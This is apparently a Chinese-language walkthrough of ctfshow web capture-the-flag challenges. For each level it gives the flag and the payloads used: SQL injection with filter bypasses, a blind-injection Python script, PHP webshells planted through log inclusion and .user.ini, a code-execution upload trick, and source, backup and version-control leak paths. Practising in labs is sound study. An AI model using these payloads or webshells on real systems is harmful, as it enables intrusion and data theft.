以下题目来源:ctfshow web

(ノ◕ヮ◕)ノ*:・゚✧🌟⭐🌠

01 web签到题

🚩 flag:ctfshow{cbb55ba5-575a-4f44-8eaa-666c079fe370}

打开环境,使用开发者模式,观察发现有注释,注释的文本放到cyberchef中进行base64解码得到flag。

02 web2

🚩 flag:ctfshow{7d63dc7e-1f02-41b1-b1a0-fa0d7618d264}
(flag动态生成)

最简单的sql注入。

考查点:
基本的SQL注入
多表联合查询
在用户名处注入sql语句,密码随意

1.查当前数据库名称

' or 1=1 union select 1,database(),3 limit 1,2;#-- 

得到数据库名称web2
1 和 3 是占位值,确保列数与原始查询匹配。

3.查表的名字
第一个表:

' or 1=1 union select 1,(select table_name from information_schema.tables where table_schema = 'web2' limit 0,1),3 limit 1,2;#-- 

得到表名:flag 第二个表:

' or 1=1 union select 1,(select table_name from information_schema.tables where table_schema = 'web2' limit 1,2),3 limit 1,2;#-- 

得到表名:user

4.查flag表列的数量

' or 1=1 union select 1,(select count(*) from information_schema.columns where table_name = 'flag' limit 0,1),3 limit 1,2;#-- 

只有1列

5.查flag表列的名字

' or 1=1 union select 1,(select column_name from information_schema.columns where table_name = 'flag' limit 0,1),3 limit 1,2;#-- 

列名为flag

6.查flag表记录的数量

' or 1=1 union select 1,(select count(*) from flag),3 limit 1,2;#-- 

只有一条记录

7.查flag表记录值

' or 1=1 union select 1,(select flag from flag limit 0,1),3 limit 1,2;#--

得到flag

ctfshow{7d63dc7e-1f02-41b1-b1a0-fa0d7618d264}

03 web3

🚩 flag:ctfshow{6a8817d0-e200-4fef-9e96-f2855fe95e4b}

GET / HTTP/1.1
Host: fe4af376-f216-4935-acca-d5add9f67e19.challenge.ctf.show
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive

修改协议头: POST /?url=php://filter/resource=ctf_go_go_go HTTP/1.1

04 web4

🚩 flag:ctfshow{4cbf9c46-00b1-4758-adc6-8f7574620d40}

页面最明显的位置展示了源码的核心,提示我们利用文件包含漏洞

image.png

包含日志文件,查看日志文件的信息,可以看到日志文件中保存了网站的访问记录,包括HTTP请求行,Referer,User-Agent等HTTP请求的信息

查看日志信息:https://4214eedd-6ba0-4f21-a280-76b7045a7d70.challenge.ctf.show/?url=/var/log/nginx/access.log

重开了一个新的:https://0af48cbc-562c-4d78-abe3-5a28b4e987c6.challenge.ctf.show/?url=/var/log/nginx/access.log

使用代理工具(Burp Suite)抓包,在User-Agent中插入一句话木马

<?php eval($_POST['-7'])?>

可以看到日志中多了一段信息:

image.png

很明显,日志文件的内容多了一条访问记录,但没有我们插入的一句话木马,这很正常,因为日志文件中的代码会被执行,而不会显示。

使用中国蚁剑连接:

image.png

使用文件管理,找到这个文件:

image.png

得到flag:

image.png

05 web5

🚩 flag:ctfshow{4ff12fe2-ba6d-49ac-84c7-1d9b0773eae6}

题目信息:

where is flag?
<?php
error_reporting(0);

?>
<html lang="zh-CN">

<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0, initial-scale=1.0" />
<title>ctf.show_web5</title>
</head>
<body>
<center>
<h2>ctf.show_web5</h2>
<hr>
<h3>
</center>
<?php
$flag="";
$v1=$_GET['v1'];
$v2=$_GET['v2'];
if(isset($v1) && isset($v2)){
if(!ctype_alpha($v1)){
die("v1 error");
}
if(!is_numeric($v2)){
die("v2 error");
}
if(md5($v1)==md5($v2)){
echo $flag;
}
}else{

echo "where is flag?";
}
?>

</body>
</html>

页面中展示了部分源码,从源码中我们可以得知,想要夺旗需要通过GET请求传递两个参数v1和v2,并且参数v1必须是纯字母字符串,参数v2必须是数字或者数字字符串,并且两个参数的md5值必须相等

ctype_alpha()函数用于检测字符串中是否仅包含字母,是则返回true,否则返回false
is_numeric()函数用于检测变量是否为数字或数字字符串,是则返回true,否则返回false

这里我们可以使用MD5的0e绕过方式,输入一下payload

?v1=QNKCDZO&v2=240610708

QNKCDZO 的md5值为 0e830400451993494058024219903391

240610708 的md5值为 0e462097431906509019562988736854

分别满足纯字母和数字字符串,并且md5值以0e开头,而0e开头的字符串参与比较(==)时,会转化为0,也就是 0==0,返回true使if判断成立,从而输出flag

![截屏2025-08-07 22.46.06](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-07 22.46.06.png)


06 web6

🚩 flag:ctfshow{8f07da3b-c534-454c-8732-8987558d15dc}

注入点是单引号字符型注入,并且过滤了空格,我们可以使用括号()或者注释/**/绕过

先来一个万能账号,注意使用括号()替换空格,用户名输入以下payload,密码随便输

a'or(true)#

![截屏2025-08-07 23.20.51](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-07 23.20.51.png)

使用联合注入获取当前使用的数据库

a'or(true)union(select(1),database(),3)#

![截屏2025-08-07 23.21.11](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-07 23.21.11.png)

获取数据库中的所有表

a'or(true)union(select(1),
(select(group_concat(table_name))from(information_schema.tables)
where(table_schema='web2'))
,3)#

![截屏2025-08-07 23.22.39](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-07 23.22.39.png)

获取flag表的所有字段

a'or(true)union(select(1),select(group_concat(column_name))from(information_schema.columns)where(table_schema='web2')and(table_name='flag')),3)#

获取flag表中的数据

a'or(true)union(select(1),(select(flag)from(flag)),3)#

把整个内容复制到输入框中提交flag,即可过关。

![截屏2025-08-07 23.25.35](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-07 23.25.35.png)


07 web7

🚩 flag:ctfshow{44c69047-9003-403f-8d76-5dbe358bb690}

第7关是一个SQL注入漏洞,注入点是数值型注入,源码中过滤了空格,可以使用括号()或者注释/**/来代替空格。

![截屏2025-08-07 23.29.49](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-07 23.29.49.png)

随便点入一个文章,从url地址栏中可以看到页面通过文章的id值来查询文章内容,我们可以考虑SQL注入漏洞。

首先判断注入点,输入以下payload,使SQL恒成立:

1/**/and/**/1

结果为页面正常显示。

输入以下payload使SQL恒不成立:

1/**/and/**/0

结果为页面空显示。

先来判断显示位,此处id传一个-1,由于id通常不为负数,后端根据id查询不到内容,就只能展示联合查询的结果,从而帮助我们判断字段显示的位置。

-1/**/union/**/select/**/1,2,3

显示位为2,那么接下来把2替换成database(),判断当前使用的数据库。

-1/**/union/**/select/**/1,database(),3

得知当前使用的数据库是web7

接下来获取当前数据库中的所有表。

-1/**/union/**/select/**/1,(select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema="web7"),3

看到有一个flag表。

获取flag表中的所有字段:

-1/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_schema="web7"/**/and/**/table_name="flag"),3

flag表中只有一个flag字段

接下来查询flag表的flag字段,获取flag。

-1/**/union/**/select/**/1,(select/**/flag/**/from/**/flag),3

获取到flag。

![截屏2025-08-07 23.37.16](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-07 23.37.16.png)


08 web8

🚩 flag:ctfshow{937b1c07-5702-45aa-ad1b-6f700d59bdc5}

注入点是数值型, 注入类型推荐使用布尔盲注,此关卡过滤了空格,逗号,and,union等关键字,

  1. 过滤空格, 可以使用括号() 或者注释/**/ 绕过
  2. 过滤and, 可以使用or替代
  3. 过滤union, 可以用盲注替代联合注入
  4. 过滤逗号, 可以使用特殊语法绕过, 比如:substr(database(),1,1) 可以用substr(database() from 1 for 1)来代替

首先确定注入点, 输入以下payload使SQL恒成立:

?id=-1/**/or/**/true

由于SQL恒成立, 数据库将查询出表中的所有内容, 并返回到前端展示。

再输入一下payload 使SQL恒不成立:

?id=-1/**/or/**/false

数据库查询不到任何数据, 从而导致页面空显示。

由以上返回结果可知, 该页面存在SQL注入, 注入点为数值型注入

接下来进行脱库, 由于盲注脱库比较复杂, 此处我们构造Python脚本进行自动化脱库, 注意payload中的字符串不要换行, 否则可能会出问题。

使用的python脚本:

import requests

url = 'http://f16c97e4-a96e-4dec-bb7e-2b0577547047.challenge.ctf.show/index.php?id=-1/**/or/**/'
name = ''

# 循环45次( 循环次数按照返回的字符串长度自定义)
for i in range(1, 45):
# 获取当前使用的数据库
# payload = 'ascii(substr(database()from/**/%d/**/for/**/1))=%d'
# 获取当前数据库的所有表
# payload = 'ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%d/**/for/**/1))=%d'
# 获取flag表的字段
# payload = 'ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%d/**/for/**/1))=%d'
# 获取flag表的数据
payload = 'ascii(substr((select/**/flag/**/from/**/flag)from/**/%d/**/for/**/1))=%d'
count = 0
print('正在获取第 %d 个字符' % i)
# 截取SQL查询结果的每个字符, 并判断字符内容
for j in range(31, 128):
result = requests.get(url + payload % (i, j))

if 'If' in result.text:
name += chr(j)
print('数据库名/表名/字段名/数据: %s' % name)
break

# 如果某个字符不存在,则停止程序
count += 1
if count >= (128 - 31):
exit()

运行脚本获取flag。

脚本运行时长3~4min。

![截屏2025-08-07 23.51.31](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-07 23.51.31.png)


09 web9

🚩 flag:ctfshow{7118d97d-e85c-4412-b904-b456ce669dfc}

SQL注入漏洞, SQL中使用MD5进行加密, 推荐使用MD5加密漏洞绕过。

我们访问根目录下的 robots.txt 文件

obots.txt是一个文本文件,同时也是一个协议,规定了爬虫访问的规则( 哪些文件可以爬取,哪些文件不可以爬取)

![截屏2025-08-08 09.15.56](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-08 09.15.56.png)

从robots.txt文件的内容中可以发现, 作者给了提示, index.phps文件应该就是此关卡的源码文件

访问 /index.phps 文件, 将其下载到本地, 从源码中可以发现, SQL中使用了md5()函数加密, 我们可以利用MD5加密漏洞来绕过

![截屏2025-08-08 09.21.26](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-08 09.21.26.png)

在密码框中输入 ffifdyop, 即可登录成功, 获取flag。

ffifdyop 的MD5加密结果是 276f722736c95d99e921722cf9ed621c

经过MySQL编码后会变成’or’6xxx,使SQL恒成立,相当于万能密码,可以绕过md5()函数的加密

![截屏2025-08-08 09.26.47](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-08 09.26.47.png)

10 web10

🚩 flag:ctfshow{7130a0c5-2bb0-4599-8310-65940d31045f}

点击取消按钮,获得源码

<?php
$flag="";
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
$sql="select * from user where username = '$username'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
if($password==$row['password']){
echo "登陆成功<br>";
echo $flag;
}

}
}
?>

源码中先根据用户名查询用户信息, 用户名通过以后, 再判断密码是否相同, 我们绕过用户名的过滤条件, 在使用 with rollup注入绕过密码

with rollup 可以对 group by 分组结果再次进行分组,并在最后添加一行数据用于展示结果( 对group by未指定的字段进行求和汇总, 而group by指定的分组字段则用null占位)
我们使用万能用户名 a’//or//true/**/# 使SQL成立绕过用户名之后, 后台的SQL会查询出所有的用户信息, 然后依次判断查询处的用户名对应的密码和我们输入的密码是否相同, 这时候我们使用with rollup 对 group by 分组的结果再次进行求和统计, 由于with rollup 不会对group by 分组的字段( password)进行统计, 所以会在返回结果的最后一行用null来填充password, 这样一来我们的返回结果中就有了一个值为null的password , 只要我们登录的时候password输入框什么都不输, 那我么输入的password的值就是null, 跟查询出的用户密码相同( null == null), 从而登录成功

输入以下payload, 即可登录成功, 拿到flag

a'/**/or/**/true/**/group/**/by/**/password/**/with/**/rollup/**/#

![截屏2025-08-08 09.43.32](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-08 09.43.32.png)

注意这里不输入密码。

以下题目来源: ctfshow web

( ̄ω ̄ )☞📦✨

11 web11

🚩 flag:ctfshow{8feacf13-5148-47ac-8437-7317015a988b}

页面中直接给了源码, 很明显是让我们进行代码审计, 源码中将我们输入的密码与 session中保存的密码进行匹配, 两个password相同即可登录成功。

<?php
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
if($password==$_SESSION['password']){
echo $flag;
}else{
echo "error";
}
?>

右键检查或者按F12, 进入开发者模式, 查看浏览器的session, 后端代码就是拿这个session的value值与我们输入的密码进行匹配, 由于这个value值我没解密出来, 所以这里干脆一点, 直接删除让变成空, 而后我们密码什么也不输, 也会是空, 空=空, 从而登录成功

![截屏2025-08-08 09.59.21](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-08 09.59.21.png)

登录结果:

![截屏2025-08-08 10.00.22](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-08 10.00.22.png)


12 web12

🚩 flag:ctfshow{f41d655e-ea9f-44ef-bca1-7d6db1438c80}

代码执行漏洞, flag藏在根目录下的一个文件中, 读取文件内容接口过关

![截屏2025-08-08 10.02.54](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-08 10.02.54.png)

这里暗示存在代码执行漏洞

传入cmd参数, 验证一下代码执行漏洞

?cmd=phpinfo();

验证成功。

![截屏2025-08-08 10.04.13](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-08 10.04.13.png)

接下来遍历目录

?cmd=print_r(glob('*'));

可以看到目录下有两个文件, 盲猜这个名字特殊的文件里面就有flag

![截屏2025-08-08 10.07.34](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-08 10.07.34.png)

接下来读取文件内容

hightlight_file()可以使文件内容高亮显示, 常用于读取文件内容

?cmd=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');

即可得到flag。

![截屏2025-08-08 10.09.19](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-08 10.09.19.png)


13 红包题第二弹

🚩 flag:ctfshow{bb633dfa-ae02-4002-b508-5850ca3609b0}

这里也是提示使用代码执行漏洞。

![截屏2025-08-08 10.15.15](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-08 10.15.15.png)

传入cmd参数, 验证一下代码执行漏洞

?cmd=phpinfo();

![截屏2025-08-08 10.16.29](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-08 10.16.29.png)

有用但报错,显示出了页面源代码。查看显示出来部分php代码,过滤了很多东西

if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd))

第一个正则表达式把字母数字几乎全过滤了,只剩了个p(有伏笔!单独留个p肯定有用)

if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)

过滤了一堆符号。剩下的:

<  >  ?  +  =  .  ;  `  /

<?= 等价 <?php echo

这是php的短标记语法,相似的语句还有很多,大家自行查阅,在有些时候用这种语法绕过能有意想不到的惊喜

反引号 ` 可以用来当作命令执行,例如`ls`和system(‘ls’)的效果是差不多的,我们可以利用这一点

.或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则. file的意思就是用bash执行file文件中的命令。

那么我们就可以利用上述两个符号读取文件,例如. $filename

加号 + 不必多说,通常用来当空格。

对于php本身而言,是可以进行文件上传的。

我们可以发送一个上传文件的post包,此时php会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpxxxxxx,文件名最后6个字符是随机的大小写字母。如/tmp/phphhhhhh

在这道题的话,我们可以用?代替这些字母,结果形如/??p/p?p??????

这样一来我们就可以通过上传带有payload的代码的文件并执行

但是值得一提的是,通常这些临时文件夹下的文件最后是会被删除的,所以我们不得不想办法在被删除之前执行我们上传的文件。最好的办法就是上传的时候同时执行。

结合上述所说,我们就可以往cmd参数里写一段代码执行上传的文件,<?=.+/??p/p?p????;

(加不加后面的?>其实无所谓,都可以)

我们获取靶场数据包,将GET方式改为POST并且在请求头随便某处加入以下内容

Content-Type: multipart/form-data; boundary=hello1234567890

修改后的数据包:

POST /?cmd=?><?=`.+/??p/p?p??????`; HTTP/1.1
Host: 3d28a958-7048-479d-98bb-1be46e3dba1a.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Content-Type: multipart/form-data; boundary=---------------------------10242300956292313528205888
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 237

-----------------------------10242300956292313528205888
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain

#! /bin/sh

cat /flag.txt
-----------------------------10242300956292313528205888--

![截屏2025-08-08 11.16.33](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-08 11.16.33.png)

得到flag。


14 web13

🚩 flag:ctfshow{bb633dfa-ae02-4002-b508-5850ca3609b0}

利用代码执行漏洞获取网站敏感文件

该题是有备份文件的,访问upload.php.bak

<?php 
header("content-type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if ($size > 24){
die("error file zise");
}
if (strlen($filename)>9){
die("error file name");
}
if(strlen($ext_suffix)>3){
die("error suffix");
}
if(preg_match("/php/i",$ext_suffix)){
die("error suffix");
}
if(preg_match("/php/i"),$filename)){
die("error file name");
}
if (move_uploaded_file($temp_name, './'.$filename)){
echo "文件上传成功!";
}else{
echo "文件上传失败!";
}

?>

审计代码可以发现,传入的内容不可以大于24个字符,传入的名字不可以大于9个字符,不可以传php文件。

需要用到.user.ini文件,

先上传一个.user.ini文件,内容是auto_prepend_file=b.txt

然后再上传一个b.txt文件,内容是<?php eval($_GET[‘c’]); 后面的不用写了,不然传不上去。

然后再通过参数c=print_r(scandir(‘.’));


15 web14

🚩 flag:ctfshow{5f9b6eee-ea21-414e-881d-aa619abf641c}

利用数据库读写功能读取网站敏感文件

绕过switch循环后可以拿到一个登录界面, 登录界面存在SQL注入, 脱库以后会提示flag在另一个文件中, 利用数据库的文件读写功能读取文件内容即可拿到flag

<?php
include("secret.php");

if(isset($_GET['c'])){
$c = intval($_GET['c']);
sleep($c);
switch ($c) {
case 1:
echo '$url';
break;
case 2:
echo '@A@';
break;
case 555555:
echo $url;
case 44444:
echo "@A@";
break;
case 3333:
echo $url;
break;
case 222:
echo '@A@';
break;
case 222:
echo '@A@';
break;
case 3333:
echo $url;
break;
case 44444:
echo '@A@';
case 555555:
echo $url;
break;
case 3:
echo '@A@';
case 6000000:
echo "$url";
case 1:
echo '@A@';
break;
}
}

highlight_file(__FILE__);

我们这里传递一个 3即可

?c=3

![截屏2025-08-08 12.15.59](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-08 12.15.59.png)

访问一下这个文件:

![截屏2025-08-08 12.16.45](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-08 12.16.45.png)

进入一个这样的页面,盲猜存在SQL注入漏洞, 先给个true, 使SQL恒成立, 页面正常显示。

再给个false, 使SQL恒不成立, 页面空显示

由以上结果可以确定存在SQL注入漏洞, 注入点为数值型注入, 页面有回显, 推荐使用联合注入

获取当前使用的数据库:

-1/**/union/**/select/**/database()

返回web。

获取表

-1/**/union/**/select/**/group_concat(table_name)from/**/information_schema.`tables`/**/where/**/table_schema=database()

返回content

获取字段

-1/**/union/**/select/**/group_concat(column_name)from/**/information_schema.`columns`/**/where/**/table_name='content'

返回id,username,password

获取数据

-1/**/union/**/select/**/group_concat(username,password)from/**/content

返回adminflag is not here!,gtf1ywow,you can really dance,Wowtell you a secret,secret has a secret…

结合开头 switch循环页面中引入了一个 secret.php, 线索应该就在 secret.php 里面

-1/**/union/**/select/**/load_file('/var/www/html/secret.php')

先访问一下 secret.php 文件, 可以正常访问, 没有报404, 说明这个文件确实存在, 而且就在根目录下, apache的默认网站根路径是 /var/www/html, 我们试一下读这个文件的内容

利用数据库的文件读写功能读取文件内容

页面没有反应

代理工具( BrupSuite)抓包,看到文件代码

根据提示读取 /real_flag_is_here

-1/**/union/**/select/**/load_file('/real_flag_is_here')

![截屏2025-08-08 12.38.57](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-08 12.38.57.png)

在bp中获取到flag。


以下为ctfshow web入门

16 web1

🚩 flag:ctfshow{50fcb51b-4971-430c-8fc9-78879c46bf9a}

💡 hint:签到题/查看页面源代码

查看页面源代码

![截屏2025-08-08 13.24.54](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-08 13.24.54.png)

得到flag。


17 web2

🚩 flag:ctfshow{197f6488-3254-408b-adcc-2ed7ffef61ec}

💡 hint:查看页面源代码 bp抓包

页面显示无法查看源代码。

![截屏2025-08-08 13.30.12](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-08 13.30.12.png)

通过bp抓包得到页面源代码,以及注释中的flag。


18 web3

🚩 flag:ctfshow{ec03e4fe-622c-4224-9120-b1e7486ff229}

💡 hint:查看页面源代码 bp抓包

通过bp抓包得到页面源代码,直接看到flag。

![截屏2025-08-08 13.35.04](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-08 13.35.04.png)


19 web4

🚩 flag:ctfshow{5f43bc89-39a8-4e6c-80d8-12dde2adc678}

💡 hint: robots.txt

题目信息中有提示:总有人把后台地址写入robots,帮黑阔大佬们引路。

打开/robots.txt,查看提示。

页面信息:

User-agent: *
Disallow: /flagishere.txt

故打开文件/flagishere.txt,直接得到flag。


20 web5

🚩 flag:ctfshow{83e86a1e-e5c5-4dd4-bd6a-cfddc31e20dd}

💡 hint: php源码泄漏

题目信息中提示:phps源码泄露有时候能帮上忙

在url末尾加/index.phps,返回phps文件,下载查看源码。

![截屏2025-08-08 13.51.51](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-08 13.51.51.png)


21 web6

🚩 flag:ctfshow{66576016-6a6d-456a-ba1d-a89db93ea7fa}

💡 hint: www代码泄漏

题目提示:解压源码到当前目录,测试正常,收工。

Url/www.zip

获得源代码

![截屏2025-08-08 14.04.12](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-08 14.04.12.png)

直接打开fl000g.txt,得到flag{flag_here},但是提交发现不正确。

使用url/fl000g.txt打开,然后检查页面源代码,发现

![截屏2025-08-08 14.06.11](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-08 14.06.11.png)


22 web7

🚩 flag:ctfshow{32f4258e-4332-4269-95d3-dfa77dfebada}

💡 hint: 版本控制文件泄漏

题目提示信息为:版本控制很重要,但不要部署到生产环境更重要。

考察git代码泄露,直接访问url/.git/index.php,获取到flag。


23 web8

🚩 flag:ctfshow{059a39a6-7189-4bfb-9b5e-43e598949d2f}

💡 hint: 版本控制文件泄漏

题目提示信息还是:版本控制很重要,但不要部署到生产环境更重要。

考察svn代码泄漏,访问url/.svn/,获取到flag。

版本控制文件泄漏总结:

常见版本控制目录:

http://target.com/.git/
http://target.com/.svn/
http://target.com/.hg/

生产环境不应包含版本控制目录。


24 web9

🚩 flag:ctfshow{ce3903e3-2eaf-4dcf-8e4b-dcf1ccf424cf}

💡 hint: vim缓存信息泄漏

题目提示信息:发现网页有个错别字?赶紧在生产环境vim改下,不好,死机了

根据题目提示得到vim缓存信息泄漏。

直接访问备份文件:

http://target.com/.index.php.swp
http://target.com/config.php~

这里直接访问url/index.php.swp

获取到文件。将文件下载到本地后,删除.swp后缀后直接打开就可以获得flag。


25 web10

🚩 flag:ctfshow{9b7a980f-480a-4390-a583-746ee1f7c78a}

💡 hint: cookie信息泄漏 bp抓包

题目提示信息:cookie 只是一块饼干,不能存放任何隐私数据

根据题目提示信息得到cookie信息泄漏。

使用bp抓包。在重放器中看到信息。

![截屏2025-08-08 14.40.34](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-08 14.40.34.png)

url解码后得到flag:ctfshow{9b7a980f-480a-4390-a583-746ee1f7c78a}


26 web11

🚩 flag:ctfshow{9b7a980f-480a-4390-a583-746ee1f7c78a}

💡 hint: 域名信息隐藏

题目信息:

域名其实也可以隐藏信息,比如flag.ctfshow.com 就隐藏了一条信息

由于动态更新,txt记录会变

最终flag flag{just_seesee}

通过dns检查查询flag https://zijian.aliyun.com/ TXT 记录,一般指为某个主机名或域名设置的说明。

查找flag.ctfshow.com域名下的txt记录

直接使用命令: nslookup -qt=txt flag.ctfshow.com

总结:域名信息隐藏,使用nslookup。


27 web12

🚩 flag:ctfshow{e21c528d-4893-4153-bdce-5a04b2176ade}

💡 hint: 密码口令获取

题目信息:

有时候网站上的公开信息,就是管理员常用密码

打开是这样的页面。

![截屏2025-08-08 14.52.01](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-08 14.52.01.png)

通过题目知道我们需要找到管理员登录界面,以及密码。

使用robots.txt进行初步分析:

User-agent: *
Disallow: /admin/

使用url/admin/进行管理员登录

可能的密码:eflyer,372619038

经过尝试确认密码为372619038

![截屏2025-08-08 14.53.19](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-08 14.53.19.png)

登录后获取到flag :ctfshow{e21c528d-4893-4153-bdce-5a04b2176ade}


28 web13

🚩 flag:ctfshow{dba3f7f5-4f7b-45b1-87f8-1de14d33730c}

💡 hint: 密码口令获取

题目信息:技术文档里面不要出现敏感信息,部署到生产环境后及时修改默认密码

根据题目提示技术文档

在页面下面发现 document

下载发现里面存在后台地址和用户名密码登录成功获 得flag

![截屏2025-08-08 14.59.48](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-08 14.59.48.png)

![截屏2025-08-08 15.01.18](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-08 15.01.18.png)

使用url/system1103/login.php跳转到后台登录界面,然后使用用户名和密码进行登录。


29 web14

🚩 flag:ctfshow{6aeb7c7d-8b84-4d05-a626-45c311c48bd5}

💡 hint: 编辑器漏洞

题目提示信息:有时候源码里面就能不经意间泄露重要(editor)的信息,默认配置害死人。

尝试了一下之前练习的获取源码的方法都失败了。提示信息一般很重要。

根据提示 泄露重要(editor)的信息 直接在url后面添加/editor

进入编辑器页面,在编辑器中点击附件上传,点击文件空间,查看到网页的所有文件。

![截屏2025-08-08 15.26.08](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-08 15.26.08.png)

这些是默认配置的目录,在服务器中不一定实际存在。当我们访问不存在的目录的时候,会跳转到服务器的根目录。

我们这里进入了服务器的根目录,先来查看一下浏览器目录。

/var/www/html

这里面有一个可疑的文件夹nothinghere,点击后查看到flag的路径。

因此这里访问url/nothinghere/fl000g.txt,获取到flag。


30 web15

🚩 flag:ctfshow{7b31fb56-8045-4f32-bb64-fc109ac2f3df}

💡 hint: 密码口令泄漏 信息泄漏 密码重置

题目信息:公开的信息比如邮箱,可能造成信息泄露,产生严重后果

根据提示,找到页面的公开信息邮箱:1156631961@qq.com

不知道管理员登录界面地址,使用robots.txt进行分析,没有结果。

根据之前的做题经验,尝试url/admin/

成功进入后台登录系统。

使用账号admin,密码1156631961登录失败。尝试过许多密码都没有成功。

发现页面上有一个忘记密码按钮。需要回答地址问题。

通过qq添加好友功能,查看到目标是陕西西安。输入地址西安,密码被重置为admin7789,登录成功获取flag。


31 web16

🚩 flag:ctfshow{8dd1a4ff-32dc-4bcd-a786-296d199f55ba}

💡 hint: PHP探针

题目信息:对于测试用的探针,使用完毕后要及时删除,可能会造成信息泄露

页面是一个很炫酷的3d元素周期表。

提示寻找测试用的探针,如何寻找?

php探针是用来探测空间、服务器运行状况和PHP信息用的,探针可以实时查看服务器硬盘资源、内存占用、网卡 流量、系统负载、服务器时间等信息。 url后缀名添加/tz.php 版本是雅黑PHP探针,然后查看phpinfo搜索flag

![截屏2025-08-08 16.21.50](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-08 16.21.50.png)

点击PHPINFO

在页面中搜索flag。

![截屏2025-08-08 16.26.25](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-08 16.26.25.png)


32 web17

🚩 flag:ctfshow{22d9351f-e8f7-4faa-be5d-b4fba021ca96}

💡 hint: sql备份文件下载

题目信息:备份的sql文件会泄露敏感信息

备份的sql文件:backup.sql

![截屏2025-08-08 16.28.42](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-08 16.28.42.png)

总结:🔍 常见备份SQL文件位置

  1. 常规备份文件
/database.sql
/db.sql
/backup.sql
/sql_backup.sql
  1. 时间戳备份
/db_20230815.sql
/backup_2023.sql
  1. 压缩格式备份
/db.sql.gz
/backup.sql.bz2
